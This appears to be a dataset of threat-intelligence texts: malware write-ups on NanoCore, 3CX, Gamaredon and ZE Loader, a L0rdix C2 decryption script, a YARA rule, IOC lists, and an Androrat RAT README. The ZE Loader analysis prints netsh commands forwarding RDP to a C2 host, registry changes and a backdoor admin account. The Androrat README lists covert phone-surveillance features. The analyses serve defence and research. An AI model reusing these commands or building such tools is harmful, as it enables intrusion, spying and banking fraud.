text
stringlengths 8
115k
|
---|
# Image File Trickery Part II: Fake Icon Delivers NanoCore
The .zipx file extension is used to denote that the ZIP archive format is compressed using advanced methods of the WinZip archiver. In 2019, we published a blog about this file extension being abused to deliver Lokibot malware. In this blog, we outline another .zipx attachment we recently encountered with spam messages, and we will show the result of our investigation in comparison to the previous .zipx sample we observed.
The emails, claiming to be from the Purchase Manager of certain organizations that the cybercriminals are spoofing, look like usual malspams except for their attachment. The attachments, which have a filename format “NEW PURCHASE ORDER.pdf*.zipx”, are actually image (Icon) binary files, with attached extra data, which happens to be RAR. This file format abuse is similar to what we have seen previously.
If the attachment successfully evades any scanning email gateways, the next hurdle is the victim’s machine, which needs to have an unzip tool that can extract the executable file inside the attachment. We tried using the same tools from the previous blog to extract the EXE file and here is the result: The archive utility WinZip and WinRAR yield similar results when extracting the EXE file from the previous and current .zipx files. WinZip does not support unzipping either of samples whereas WinRAR managed to extract the EXE file contained in both samples.
Interestingly, 7Zip can also extract the content of the latest .zipx sample. 7Zip initially tries to open the files as a ZIP archive and fails, but afterward, 7Zip recognizes the .zipx files as Rar5 archives and can get their contents unpacked. Unlike in the previous blog, there is no need for the extension of the recent attachments to be renamed to something else other than .zipx or .zip just for their executables to be extracted using 7Zip.
The executables we gathered have a similar name to that of the .zipx attachment, “NEW PURCHASE ORDER*.exe”. Also, the icon at the start of the .zipx files is actually the icon used on the EXE files within the archive.
Analyzing the EXE files indicates that they are samples of NanoCore RAT version 1.2.2.0. This RAT creates copies of itself at the AppData folder and injects its malicious code at RegSvcs.exe process. The data stolen by this RAT is sent to the command and control servers listed below:
- shtf[.]pw
- uyeco[.]pw
## Summary
The recent malspams have the same goal like the ones we investigated almost two years ago and that is to effectively hide the malicious executable from anti-malware and email scanners by abusing the file format of the “.zipx” attachment, which in this case is an Icon file with added surprises. In a slight twist, enclosing the executable into a RAR archive instead of a ZIP file, the content of the .zipx attachment can be extracted by another popular archiving tool, 7Zip. If the end-user uses 7Zip or WinRAR, the NanoCore malware could be installed onto the system, if the user decides to run and extract it. It all works because various archive utilities try their darndest to find something to unzip within files. You might even argue they try too hard!
The Trustwave Secure Email Gateway flagged the messages as malicious and detected this threat.
## IOCs
**Attachment:**
- NEW PURCHASE ORDER.pdf.zipx (480092 bytes) SHA1: DF46A893B51D8ADE0CCDEF7E375FB387E2560720
- New Purchase Order.pdf (2).zipx (403050 bytes) SHA1: C93FBA54357E90235202F58DA1FEFF7AB1142F65
**NanoCore RAT:**
- NEW PURCHASE ORDER.exe (635904 bytes) SHA1: E99F6B9BD787679666F8C54B9A834D6ACECFA622
- New purchase order (3).exe (431104 bytes) SHA1: FD958C365B6BFA5EF34779831773EC92C041A5D5 |
```python
#!/usr/bin/env python
# A script that identifies, decrypts and extracts L0rdix RAT command and control (C2)
# traffic from a supplied PCAP file.
# To speed up parsing, trim your PCAP to only HTTP ports using tcpdump,
# for example:
# $ tcpdump -r l0rdix_c2.pcap -w l0rdix_c2_http.pcap 'tcp port 80 or 8080 or 3128'
# Requirements:
# pyshark-legacy
# pycryptodome
# Author: Alex Holland (@cryptogramfan)
# Date: 2019-07-27
# Version: 0.1.6
# License: CC BY 4.0
# Reference_1: https://www.bromium.com/an-analysis-of-l0rdix-rat-panel-and-builder/
# Reference_2: https://www.bromium.com/decrypting-l0rdix-rats-c2/
import sys
import argparse
import pyshark
import urllib
import re
import hashlib
import binascii
import uuid
from Crypto.Cipher import AES
from base64 import b64decode
parser = argparse.ArgumentParser(description="\nUsage: python decrypt_l0rdix_c2.py -p <l0rdix_c2.pcap> -k <OPERATOR_KEY>")
parser.add_argument("-p", dest="pcap_file", help="PCAP containing encrypted L0rdix C2 traffic.", required=True)
parser.add_argument("-k", dest="operator_key", help="UTF-8 operator key extracted from a L0rdix bot or panel. If no key is supplied, the default key \"3sc3RLrpd17\" will be used.", default="3sc3RLrpd17")
parsed_args = parser.parse_args()
operator_key = parsed_args.operator_key
aes_key = hashlib.sha256(operator_key.encode()).digest()
iv = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
parameters = []
hostnames = []
imgs = []
try:
pcap = pyshark.FileCapture(parsed_args.pcap_file, keep_packets=False, display_filter='http.request.method == POST && http.request.uri.path == "/connect.php" && count(http.request.uri.query.parameter) >= 10')
print("[+] Parsing PCAP...")
except:
print(parser.description)
exit(0)
try:
print("[+] Searching for L0rdix C2 traffic...")
for packet in pcap:
# Enumerate hosts
query = packet['HTTP']
hostnames.append(query.host)
# Enumerate parameters
query = query.request_uri_query
query = urllib.unquote(query)
query = re.sub("~", "+", query)
query = re.sub("^h=", "", query)
found_parameters = re.split("&[a-z]{1,2}=", query)
parameters.extend(found_parameters)
except:
print("[!] Error, exiting.")
exit(0)
if not hostnames:
print("[+] No L0rdix C2 traffic found.")
exit(0)
else:
print("[+] Found references to L0rdix C2 servers (%d):\n" % (len(hostnames)))
for hostname in hostnames:
print(hostname)
if not parameters:
print("[+] No L0rdix URI parameters found.")
exit(0)
else:
print("\n[+] Found L0rdix C2 traffic (%d strings):\n" % (len(parameters)))
for parameter in parameters:
print(parameter)
try:
print("[+] Searching for screenshots...")
for packet in pcap:
# Enumerate screenshots
img = packet['URLENCODED-FORM']
img = urllib.unquote(img.value)
img = b64decode(img)
img = bytearray(img)
img_name = str(uuid.uuid4()) + '.jpg'
imgs.append(img_name)
# Dump screenshots
with open(img_name, 'w+b') as f:
f.write(img)
except:
print("[!] Error, exiting.")
exit(0)
if not imgs:
print("[+] No L0rdix screenshots found.")
exit(0)
else:
print("[+] Dumped L0rdix screenshots in current directory (%d):\n" % (len(imgs)))
for img_name in imgs:
print(img_name)
print("\n[+] Decrypting strings using operator key (UTF-8): " + operator_key)
print("[+] AES key (hex): " + binascii.hexlify(bytearray(aes_key)).decode())
print("[+] IV (hex): " + binascii.hexlify(bytearray(iv)).decode())
print("[+] Decrypted L0rdix C2 traffic (%d strings):\n" % (len(parameters)))
for parameter in parameters:
cipher = AES.new(aes_key, AES.MODE_CBC, iv)
ciphertext = b64decode(parameter)
decrypted = cipher.decrypt(ciphertext)
decrypted = decrypted.rstrip()
print(decrypted.decode(errors='ignore'))
print("[+] Finished, exiting.")
``` |
# U.S. Indicts Chinese Hacker-Spies in Conspiracy to Steal Aerospace Secrets
The U.S. Justice Department has charged two Chinese intelligence officers, six hackers, and two aerospace company insiders in a sweeping conspiracy to steal confidential aerospace technology from U.S. and French companies.
For more than five years, two Chinese Ministry of State Security (MSS) spies are said to have run a team of hackers focusing on the theft of designs for a turbofan engine used in U.S. and European commercial airliners, according to an unsealed indictment dated October 25. In a statement, the DOJ said a Chinese state-owned aerospace company was simultaneously working to develop a comparable engine.
“The threat posed by Chinese government-sponsored hacking activity is real and relentless,” FBI Special Agent in Charge John Brown of San Diego said in a statement. “Today, the Federal Bureau of Investigation, with the assistance of our private sector, international and U.S. government partners, is sending a strong message to the Chinese government and other foreign governments involved in hacking activities.”
The MSS officers involved were identified as Zha Rong, a division director in the Jiangsu Province regional department (JSSD), and Chai Meng, a JSSD section chief. At the direction of the MSS officers, the hackers allegedly infiltrated a number of U.S. aerospace companies, including California-based Capstone Turbine, among others in Arizona, Massachusetts, and Oregon, the DOJ said. The officers are also said to have recruited at least two Chinese employees of a French aerospace manufacturer—insiders who allegedly aided the conspiracy by, among other criminal acts, installing the remote access trojan Sakula onto company computers.
Sakula was previously deployed by Deep Panda, a Chinese nation-state threat group, according to cybersecurity firm Crowdstrike. Deep Panda is a leading suspect in the cyberattack on the U.S. government’s Office of Personnel Management (OPM), revealed in June 2015, which compromised the data of 4 million current and former federal employees. Sakula was also used in the 2015 Anthem data breach, which involved the potential theft of roughly 80 million individuals’ personal medical records.
The indictment includes intercepted communications between MSS spies and one of the insiders, including repeated mentions of “the horse,” an alleged reference to the Sakula malware. The hackers are also said to have used IsSpace, a trojan previously used in attacks attributed to DragonOK, a hacking group behind attacks on tech companies in Japan and Taiwan, according to cybersecurity firm FireEye.
The charges against the MSS officers follow the arrest in Belgium earlier this month of Yanjun Xu, an alleged Chinese spy accused of likewise targeting multiple U.S. aerospace companies. Xu was extradited to the United States on September 9 and will stand trial for allegedly conducting economic espionage and attempting to steal trade secrets. |
# Gamaredon Group: Understanding the Russian APT
## Overview
The Gamaredon Group, also known as Primitive Bear, is a Russian cyber espionage group that has been active since at least 2013. This group primarily targets Ukrainian entities, including government institutions, military organizations, and critical infrastructure.
## Tactics, Techniques, and Procedures (TTPs)
Gamaredon employs a variety of tactics to achieve its objectives:
- **Phishing Campaigns**: The group often uses spear-phishing emails to deliver malware. These emails are typically crafted to appear legitimate and may contain malicious attachments or links.
- **Custom Malware**: Gamaredon has developed several custom malware strains, including backdoors and information stealers, which allow them to maintain persistence on infected systems and exfiltrate sensitive data.
- **Credential Harvesting**: The group frequently targets credentials through various means, including keyloggers and credential dumping tools.
## Targeting and Impact
The primary focus of Gamaredon is on Ukrainian targets, but their activities have implications for broader geopolitical tensions. Their operations can disrupt critical services and compromise sensitive information, posing a significant threat to national security.
## Conclusion
Understanding the Gamaredon Group's tactics and targets is crucial for organizations to defend against their cyber threats. Continuous monitoring and proactive security measures are essential to mitigate the risks posed by this APT group. |
# Forensic Triage of a Windows System Running the Backdoored 3CX Desktop App
As you’ve seen, there have been a number of reports (Crowdstrike, SentinelOne, Trend Micro, Symantec, Volexity, Huntress) of a supply chain compromise of 3CX, which produces VOIP phone software. Below we have performed a quick triage forensic investigation of a system we have installed the backdoored installer on. We have also supplied Yara rules for the components under a friendly Apache License (at the bottom) to help you hunt for compromised systems.
Note that our data-set will be missing data you will find on a real compromised system, as the download chain (from Github) is now broken due to a successful takedown request. We deployed the final stage credential theft tool (d3dcompiler_47.dll) manually via rundll32 calling each available exported module. There is also a sleep function to delay the secondary payload. So results may vary a bit from what you will find on a real system! We have performed the analysis of the system using Cado Response, but the results and approach should be transferable.
## Installing 3CX
We installed a known-compromised version of 3CX (3CXDesktopApp-18.12.416.msi). After the installation completed successfully, Windows Defender detected a malicious component (ffmpeg.dll) as Win64/SamScissors.
Looking down in the timeline, we see a suspicious file being created on disk (dcwfzkme.sys). However, looking up the hash shows that this is actually a part of Windows Defender’s legitimate execution – this is just part of how Microsoft’s Boot Time Removal Tool (btr.sys) operates and is a random name. So – let’s ignore that one!
So – let’s disable Defender and reinstall…
## Post Installation
One obvious thing is ffmpeg.dll as discussed and identified already, now viewable on disk. Browsing to the folder level of ffmpeg.dll, we see a few other key files: ffmpeg.dll we have spoken about and is used to side-load encoded data from the other file in the folder – d3dcompiler_47.dll. Update.exe is used to update the application and has been seen pulling down the compromised version.
Whilst the analysis above has been performed on a dead disk (in this case for speed an isolated EC2 system), we can also perform a live collection which shows the open files for the 3CX application at the time of collection. For now that’s it – I was hoping to show the forensic artefacts showing the credential stealing but it hasn’t been executed in this environment.
## Indicators of Compromise and Yara Rules
```yara
rule APT_Trojan_Win_3CX {
meta:
description = "Detects malicious ffmpeg dll used in 3CX supply chain attack"
author = "[email protected]"
date = "2023-03-30"
license = "Apache License 2.0"
hash1 = "7986bbaee8940da11ce089383521ab420c443ab7b15ed42aed91fd31ce833896"
hash2 = "c485674ee63ec8d4e8fde9800788175a8b02d3f9416d0e763360fff7f8eb4e02"
strings:
$rout1 = { 4C 8D 4C 24 48 4C 89 F1 4C 89 EA 41 B8 40 00 00 00 FF 15 9C 3E 24 00 85 C0 74 22 4C 89 F0 FF 15 27 8E 3B 00 4C 8D 4C 24 48 45 8B 01 4C 89 F1 4C 89 EA FF 15 7B 3E 24 00 EB 03 45 31 F6 }
$rout2 = { 48 8B 05 E2 EA 24 00 48 31 E0 48 89 44 24 28 48 C7 44 24 20 00 00 00 00 81 FA BE FF FF 7F 0F 87 A2 00 00 00 89 D6 48 89 CF 8D 56 40 48 8D 4C 24 20 E8 B3 94 01 00 }
$rout3 = { 44 0F B6 CD 46 8A 8C 0C 50 03 00 00 45 30 0C 0E 48 FF C1 48 39 C8 }
$xor = { 33 6A 42 28 32 62 73 47 23 40 63 37 00 }
condition:
pe.characteristics & pe.DLL
and all of them
and filesize < 3MB
}
```
## About Cado Security
Cado Security is the cloud investigation and response automation company. The Cado platform leverages the scale, speed, and automation of the cloud to effortlessly deliver forensic-level detail into cloud, container, and serverless environments. Only Cado empowers security teams to investigate and respond at cloud speed. |
# Gamaredon Activity Amid Ukraine’s Counteroffensive
## Executive Summary
This report highlights the strategic view on the increased threat posed by the Gamaredon Advanced Persistent Threat (APT) group targeting Ukrainian military organizations during a recent Ukrainian counteroffensive. The report delves into the nature of Gamaredon APT, its links to Moscow, recent tactics and techniques, including used malware and network infrastructure, and its potential implications for Ukrainian military organizations during a counteroffensive operation.
## Unveiling the Threat Landscape
The Gamaredon group, a longstanding cyber adversary, has significantly escalated its activities in recent years. Emerging around 2013, Gamaredon initially targeted Ukrainian entities across various sectors, including government, defense, and critical infrastructure. However, the group's operations have since expanded in scope and sophistication, reflecting a calculated evolution in their tactics, techniques, and procedures (TTPs).
Gamaredon's primary objectives include espionage and data theft. Their arsenal comprises a range of custom-developed malware, often delivered through cunning spear-phishing campaigns. These campaigns deploy trojanized documents to compromise victims' systems. Once inside a target network, Gamaredon operators employ advanced techniques to maneuver stealthily, exfiltrate valuable data, and maintain persistence.
Attribution of cyberattacks remains a complex endeavor, but strong indicators point to Gamaredon affiliation with Moscow. In 2021, the Security Service of Ukraine (SSU) diligently investigated Gamaredon activities and linked the group to the directorate of the Federal Security Service (FSB) of Russia's annexed Crimea region. This connection underlines the state-sponsored nature of Gamaredon's operations and highlights its involvement in broader geopolitical maneuvers.
Recent developments have seen Gamaredon intensify its efforts during a Ukrainian counteroffensive. By targeting Ukrainian military organizations and government entities during this sensitive period, the group seeks to gather intelligence and steal sensitive military information to disrupt Ukrainian counteroffensive operations.
## Domain Rotation and Infrastructure Complexity
Gamaredon tactics have shown a consistent pattern of domain rotation and infrastructure complexity. This approach involves registering a substantial number of domains and subdomains, which are then parked with specific IP addresses. It creates a dynamic infrastructure that can be quickly rotated, making detection and attribution challenging for defenders.
Recent analysis of Gamaredon activity highlights certain Autonomous System Numbers (ASNs) that have become prominent in their strategy. The group overwhelmingly prefers Autonomous System Labels: GIR-AS (GLOBAL INTERNET SOLUTIONS LLC) and DIGITALOCEAN-ASN (DigitalOcean, LLC). The use of GLOBAL INTERNET SOLUTIONS LLC, which is located in Sevastopol, the city in temporarily occupied Crimea, can also state the group’s links to the directorate of the Federal Security Service (FSB) in Crimea.
Leading up to a significant event like Ukraine's counteroffensive, Gamaredon displayed a notable surge in its infrastructure preparations. In April and May, the group engaged in registering a substantial number of domains and subdomains. This infrastructure was then used in attacks against Ukrainian military and security organizations amid the counteroffensive.
## Hiding Under the Hood of Legitimate Services
The group has adeptly embraced the use of legitimate services to obfuscate its network activity, making detection and attribution increasingly challenging. Recent instances involving Cloudflare, Telegram, and Telegraph highlight Gamaredon's innovative approach to concealing its activities.
Earlier this year, Gamaredon demonstrated its audacity by utilizing seemingly benign platforms for malicious purposes. Cloudflare's public DNS resolver, cloudflare-dns.com, and the popular messaging app Telegram became conduits for extracting IP addresses required for the next stages of their operations. These services acted as a cover, camouflaging the true intent behind their actions.
By employing Cloudflare DNS and Telegram, Gamaredon managed to avoid disclosing IP addresses directly within the body of their malware. Instead, the malware would retrieve or generate domain names from these platforms, allowing the group to extract IP addresses dynamically and reduce the risk of detection. This dynamic approach thwarted conventional IP-based security measures and signature-based detection techniques.
Gamaredon's commitment to network concealment remains steadfast. The group shifted to the use of Telegram and Telegraph services for the same purpose. Utilizing these platforms enables them to maintain a veil of legitimacy, evading detection mechanisms that often rely on detecting malicious IP addresses.
By leveraging services like Cloudflare DNS, Telegram, and Telegraph, the group underscores their commitment to maintaining secrecy and adaptability. This trend emphasizes the necessity for security professionals to stay vigilant and adopt advanced threat detection techniques that account for such deceptive strategies.
## Exploiting Compromised Documents and Malware Arsenal
Amid Ukraine's counteroffensive, Gamaredon phishing tactics have escalated to target military and security organizations. Gamaredon phishing campaigns stand out due to their use of legitimate documents stolen from compromised entities. These documents, often disguised as reports or official communications, enhance the credibility of the attack. The recipients, believing these attachments to be genuine, are more likely to interact with the malicious content.
To supplement their phishing endeavors, Gamaredon has developed a formidable arsenal of malware. The group's toolkit includes:
- GammaDrop
- GammaLoad
- GammaSteel
- LakeFlash
Among the group's malware, Pterodo is a distinctive component. Often disguised under the filename "7ZSfxMod_x86.exe," Pterodo is a multipurpose tool designed for espionage and data exfiltration. Its versatility in deploying various modules makes it a potent threat, capable of infiltrating and compromising targeted systems with precision.
## Conclusion
The surge of Gamaredon attacks amid Ukraine's counteroffensive underlines a heightened threat landscape. While Gamaredon may not be the most technically advanced threat group targeting Ukraine, their tactics exhibit a calculated evolution. The growing frequency of attacks suggests an expansion in their operational capacity and resources.
As demonstrated by their utilization of phishing campaigns, malware variants like GammaDrop, GammaLoad, GammaSteel, LakeFlash, and the adaptable Pterodo, Gamaredon APT leverages a multifaceted approach to compromise their targets. The deployment of legitimate documents from compromised organizations as phishing lures, combined with their well-rounded malware arsenal, demonstrates their strategic sophistication.
Future plans to restrict the usage of Telegram and Telegraph services, particularly within government entities, are gaining momentum due to their exploitation by threat actors like Gamaredon. To safeguard sensitive information and protect national security interests, regulatory measures are being considered to limit the usage of these services.
Although other threat groups may possess more intricate technical capabilities, Gamaredon's strategic timing and increased activity levels are indicative of their operational augmentation. The alignment of their activities with critical military events amplifies their potential impact. Organizations must recognize the evolving nature of their threat and bolster their cybersecurity measures and international cooperation in cyber threat intelligence sharing accordingly. The combination of their expanding tactics and the current geopolitical landscape underscores the urgency for robust defenses against Gamaredon's evolving cyber threats.
## Indicators of Compromise
| Type | Value |
|------|-------|
| URL | https://t[.]me/s/mtkozbawtcw |
| URL | https://t[.]me/s/hhrcislkr |
| URL | https://t[.]me/s/renummxhexzlqnp |
| URL | https://t[.]me/s/csszmy |
| URL | https://t[.]me/s/peghyxbkueawkp |
| URL | https://t[.]me/s/dxgosnpiji |
| URL | https://t[.]me/s/wuiagupaxsy |
| URL | https://t[.]me/s/tppalhetp |
| URL | https://t[.]me/s/aazfofoqurl |
| URL | https://t[.]me/s/mftqypmfd |
| URL | https://t[.]me/s/upvrnnkzhu |
| URL | https://t[.]me/s/chanellsac |
| URL | https://t[.]me/s/kmhrgnabgvucwl |
| URL | https://t[.]me/s/jbkkcohpep |
| URL | https://t[.]me/s/vzjjveyspk |
| URL | https://t[.]me/s/exmhjrjeczody |
| URL | https://t[.]me/s/rqmynic |
| URL | https://t[.]me/s/vdxgwlh |
| URL | https://t[.]me/s/pjzfbtboqnvu |
| URL | https://t[.]me/s/idaknpmehzj |
| URL | https://t[.]me/s/xgjhnluflfkgqum |
| URL | https://t[.]me/s/tolnk_1 |
| URL | https://t[.]me/s/scwzrglirhjnyab |
| URL | https://t[.]me/s/uaqqfputly |
| URL | https://t[.]me/s/uwhvzcnsirlzx |
| URL | https://t[.]me/s/loggwwryzxqin |
| URL | https://t[.]me/s/hbcdqoxcxvk |
| URL | https://t[.]me/s/ocqcgvbgja |
| URL | https://t[.]me/s/wxpbntrkwjwqoon |
| URL | https://t[.]me/s/dnyyphpwi |
| URL | https://t[.]me/s/rwmlqlxfttee |
| URL | https://t[.]me/s/dtqlqmnswacn |
| URL | https://t[.]me/s/cctgfzuhcliux |
| URL | https://t[.]me/s/sxvywalm |
| URL | https://telegra[.]ph/jv908druxs-04-24 |
| URL | https://telegra[.]ph/t1795sbzrl-07-04 |
| URL | https://telegra[.]ph/j7bl93kg8t-07-18 |
| URL | https://telegra[.]ph/cgd7z1ts8u-04-07 |
| URL | https://telegra[.]ph/azxcsaqwr-03-28 |
| URL | https://telegra[.]ph/29pynfm4rh-02-20 |
| URL | https://cloudflare-dns[.]com/dns-query?name=demonstration.wadibo.ru |
| URL | https://cloudflare-dns[.]com/dns-query?name=delightful.humorumbi.ru |
| URL | https://cloudflare-dns[.]com/dns-query?name=demonstrate.rashidiso.ru |
| URL | https://cloudflare-dns[.]com/dns-query?name=savetofile26.bakaripi.ru | |
# Androrat: Remote Administration Tool for Android Devices
Androrat is a client/server application developed in Java Android for the client side and in Java/Swing for the server. The name Androrat is a mix of Android and RAT (Remote Access Tool). It has been developed in a team of 4 for a university project and realized in one month. The goal of the application is to give control of the Android system remotely and retrieve information from it.
## Technical Matters
The Android application is the client for the server which receives all the connections. The Android application runs as a service (not an activity) that is started during the boot. So the user does not need to interact with the service (even though there is a debug activity that allows configuring the IP and the port to connect to). The connection to the server can be triggered by an SMS or a call (this can be configured).
### All the Available Functionalities
- Get contacts (and all their information)
- Get call logs
- Get all messages
- Location by GPS/Network
- Monitoring received messages in live
- Monitoring phone state in live (call received, call sent, call missed, etc.)
- Take a picture from the camera
- Stream sound from the microphone (or other sources)
- Streaming video (for activity-based client only)
- Do a toast
- Send a text message
- Give a call
- Open a URL in the default browser
- Do vibrate the phone
## Folders
The project contains the following folders:
- **doc**: Will soon contain all the documentation about the project.
- **Experiment**: Contains an experimental version of the client articulated around an activity which allows streaming video.
- **src/Androrat**: Contains the source code of the client that should be put on the Android platform.
- **src/AndroratServer**: Contains the sources of the Java/Swing server that can be run on any platform.
- **src/api**: Contains all the different APIs used in the project (JMapViewer for the map, forms for Swing, and vlcj for video streaming).
- **src/InOut**: Contains the code of the content common for the client and the server, which is basically the protocol implementation.
## Screenshots
### Main GUI
This is the main GUI where all the connected clients appear. The list is dynamically updated when a new client connects or disconnects. Moreover, a log of all connections and global information is shown in the log panel at the bottom of the window. A simple double-click on a client opens its window to interact with it.
### Client Panel
All actions with the client can be made in the client window, which is articulated around tabs. The default tab is called Home and provides various functionalities. The left scroll view shows all the information about the client, like SIM info, battery info, network info, sensors info, etc. On the right, there are options that allow remotely changing the configuration of the client, like the IP and port to connect to, whether to wait for a trigger to initiate server connection, etc. Quick actions can be performed in this tab, like sending a toast message, vibrating the phone, or opening a URL.
### Other Tabs
The two screenshots below show two other tabs for two functionalities, which are respectively get contacts and geolocation. In the get contacts panel, the list on the left shows all contacts' names, phone numbers, and pictures if available. Moreover, on the right, three buttons allow getting more information about the selected contact, sending a SMS, or calling them. For geolocation, we can choose our provider, either GPS or network, which uses Google to locate. Then the streaming can be started, and the map will be updated as soon as data has been received. |
# New ZE Loader Targets Online Banking Users
IBM Trusteer closely follows developments in the financial cyber crime arena. Recently, we discovered a new remote overlay malware that is more persistent and more sophisticated than most current-day codes. In this post, we will dive into the technical details of the sample we worked on and present ZE Loader’s capabilities and features. The parts that differ from other malware of this kind are:
1. Installation of a backdoor to the victim’s device
2. Remaining stealthy in the guise of legitimate software
3. Holding permanent assets on the victim’s device
4. Stealing user credentials
Another aspect we examine here is the malware’s algorithms used in the encryption of its resources and events. We will suggest some tactics to detect the presence of ZE Loader on infected devices to mitigate its potential impact.
## Overlay Malware Is an Enduring Threat
Overlay malware is not a new threat, nor is it very sophisticated. Yet, this malware category, which typically spreads in Latin America, Spain, and Portugal, is an enduring one. We keep seeing it used in attacks on online banking users in those regions, and its success fuels the interest of cyber criminals to continue using it.
In the case of ZE Loader, we did see some new features that push the typical boundaries of overlay Trojans. For example, most malware in this category does not keep assets on the infected device, but ZE Loader does. In most cases, this sort of malware does not go to the lengths of hiding its presence; its lifecycle is short and the effort is futile. ZE Loader does use some stealth tactics.
## Typical Attack Anatomy
A remote overlay attack follows a rather familiar path. Once the user becomes infected — usually via malspam, phishing pages, or malicious attachments — the malware is installed on the target device. In most cases, the malware begins monitoring browser window names for a targeted bank’s site. It then goes into action upon access to a hard-coded list of entities. With the regional focus of this malware type, it mostly goes after local banks.
Once the user lands on a targeted website, the attacker is notified in real-time. The attacker can then take over the device remotely using the remote access feature. As the victim accesses their online banking account, the attacker can see their activity and choose a time to interject. To trick users into divulging authentication codes or other personal data, attackers display full-screen overlay images that keep the victim from continuing the banking session. In the background, the attacker initiates a fraudulent money transfer from the compromised account and leverages the victim’s presence in real-time to obtain the required information to complete it. It’s not an automated fraud scheme, but it is one that keeps working in certain parts of the world, which makes it a risk that banks must continue to reckon with.
## ZE Loader’s Execution and Post-Infection Behavior
ZE Loader hides as part of legitimate software by performing a dynamic link library (DLL) hijacking. Using a malicious DLL instead of the original one, it replaces a DLL named DVDSetting.dll.
In a recent campaign we analyzed, the attackers were using several payload options to infect the victim’s device. These payloads’ folders contained binary files from legitimate applications. Once executed, the seemingly benign applications would load the malware’s malicious DLL.
ZE Loader keeps its assets, such as fake images and files it runs, in a legitimate software’s folder.
The malicious files being fetched from such folders are:
| File/ DLL name | Type | Purpose |
|----------------------|----------|-------------------------------------------------------------------------|
| JDK_SDK | Folder | Contains all the images the malware uses in encrypted form. |
| DVDSettings.dll | A Delphi DLL | Decrypts and loads relevant components of the malware to run it. |
| operation.dll | A Delphi DLL | Responsible for installing and running remote desktop protocol (RDP) service on the infected device. |
| procSettings.dll | A Delphi DLL | Contains the main logic of the attack. |
| Host | | Contains malware’s settings in encrypted form. |
| isCon.tlb | | Contains malware’s settings in encrypted form. |
To evade any antivirus which might detect some of its resources, the ZE Loader changes its names or file extensions. For example: IsName.name will change to c0V3l3A9R0P4b9w1c7q3W7M6u4A2d9Z5B9Q2F4T2A0T2h7U9M8T6p8M6r3H4_.exe.
Optional payload paths we found when we analyzed this malware were:
- %programdata%\*\ PCHEALTH\*
- %programfiles%\gMDwkHvX\*
- %userprofile%\*\y0X7K4P8f5z5E2R1Y6t1B8y8l6Q1v9\*
- %userprofile%\*\Videos\Vss\I1i4M0d6N8C3a7t9C0j8N8I6I6w3f0v7A4Y1m0Z2k7Q7E6x3P0F3a5P0o4u6_.exe
When we looked at a machine we infected with ZE Loader, we saw additional file paths used:
- C:\ProgramData\Trusteer\PCHEALTH\avformat.dll
- C:\Program Files\gMDwkHvX\rdpwrap.dll
- Avira folder: C:\Users\****\y0X7K4P8f5z5E2R1Y6t1B8y8l6Q1v9\
While we did see the malware’s operators hide it in the guise of more than one legitimate program, the JDK_SDK payload remained the same throughout the campaign.
## ZE Loader’s Attack Anatomy
When we viewed the ZE Loader attack from an anatomy perspective, the elements interact as follows:
Running the legitimate program used as ZE Loader’s front also loads the malicious DLL. In this case, it is DVDSetting.dll.
After the malicious DLL is loaded, the SetDecoderMode function in DVDSettings.dll reads the encrypted file procSettings and decrypts it. This encrypted malicious file is a UPX-packed Delphi DLL that contains most of the logic of this overlay malware. Inside DVDSettings.dll, there is also some embedded shellcode, also in encrypted form, which is responsible for unpacking and running the procSettings UPX-packed DLL post decryption.
Next, the decrypted shellcode unpacks the decrypted procSettings DLL file and then calls the entry point of procSettings DLL.
### The procSettings DLL
To find out more about what’s inside this core DLL, we performed a static examination of the DLL. This did not shed light on its functionality and rules that govern its activity. One of the things we did see is that this DLL is Borland Delphi compiled and that it imports different functions from different DLLs. This suggests that procSettings is the DLL that holds most of the logic of the malware and its implementation.
A dynamic analysis we ran allowed us to examine the exported function THetholdImplementationIntercept. We saw that first the malware created a mutex with the name CodeCall.Net Mutey in order to prevent multiple instances of the malware running at the same time.
Next, the malware ran a check to discern whether the targeted bank application was installed on the infected device. It did that by searching the software directory under %appdatalocal%. If the software the attackers are interested in is indeed installed on the device, it further checks if the file C:\ProgramData\OkApp.is exists. This file is one of the malware’s files, used as an indicator; this file is empty of content.
If ZE Loader’s scan identifies that this is the first time the malware has run on that device, it executes a series of steps as follows:
1. First, ZE Loader checks that it is running with administrator privileges.
2. ZE Loader executes a couple of Netshell commands in order to create a new connection for establishing an RDP connection to the command-and-control server (C&C).
- The first command it executes is ‘netsh interface portproxy reset’ in order to reset the proxy configuration settings.
- Next, it opens two proxy connections to eavesdrop on and have a connection to the C&C server:
- netsh interface portproxy add v4tov4 listenport=1534 listenaddress=127.0.0.1 connectport=1534 connectaddress=controllefinaceiro2021.duckdns.org
- netsh interface portproxy add v4tov4 listenport=27015 listenaddress=127.0.0.1 connectport=27015 connectaddress=controllefinaceiro2021.duckdns.org
3. Next, ZE Loader loads the encrypted file ‘operationB’, decrypts and unpacks it. The encryption and unpacking methods are the same as before. This file is a malicious DLL that is responsible for setting an outbound RDP connection to the C&C.
### OperationB DLL
We began with a static examination of the malicious DLL ‘OperationB.’ Examining the DLL’s resource section, we saw that it contained some legitimate RDP DLLs, including the right ones for each Windows architecture, as well as RDP configuration files.
Dynamically running this malicious DLL, we see that it begins by saving the RDP DLL and its configuration on disk under a randomly generated directory; in this case, saved under %programFiles%.
## Manipulating Security Settings
In the next step, ZE Loader manipulates some security settings to enable the attacker to have undisturbed remote access to the infected device. ZE Loader searches for the service ‘TermService’. This service allows RDP connections to stream to and from the client device. ZE Loader sets its configuration settings to SERVICE_AUTO_START with the path of the RDP DLL file it already saved on disk.
Next, ZE Loader changes the settings of the infected device to allow and establish multiple RDP connections to and from that device. The following settings are toggled to ‘true’:
- HKLM\System\CurrentControlSet\Control\Terminal Server\fDenyTSConnection
- HKLM\System\CurrentControlSet\Control\Terminal Server\Licensing Core\EnableConCurrentSessions
- HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AllowMultipuleTSSession
The malware adds a new user account to the victim’s local area network settings with the name Administart0r and password 123mudar. To ensure it is allowed to perform admin actions on the device, the malware adds the new malicious user to the localgroup ‘administradores’.
In the last step of the malware, before an attack is performed, ZE Loader further sets a new rule in the firewall that allows anyone to use RDP connections.
## Going Into Action Mode
Once it is resident on the infected device and all the preparations are in place, ZE Loader begins monitoring the victim’s activity on the web browser, waiting for them to authenticate an online banking session or access a designated banking application on the desktop. To do that, it monitors running processes and will kill the corresponding process if one is started.
After killing the app processes, it loads an encrypted string fetched from the file ‘Host.hst.’ This file contains the encrypted domain name: ‘controlefinanceiro2021.duckdns.org.’
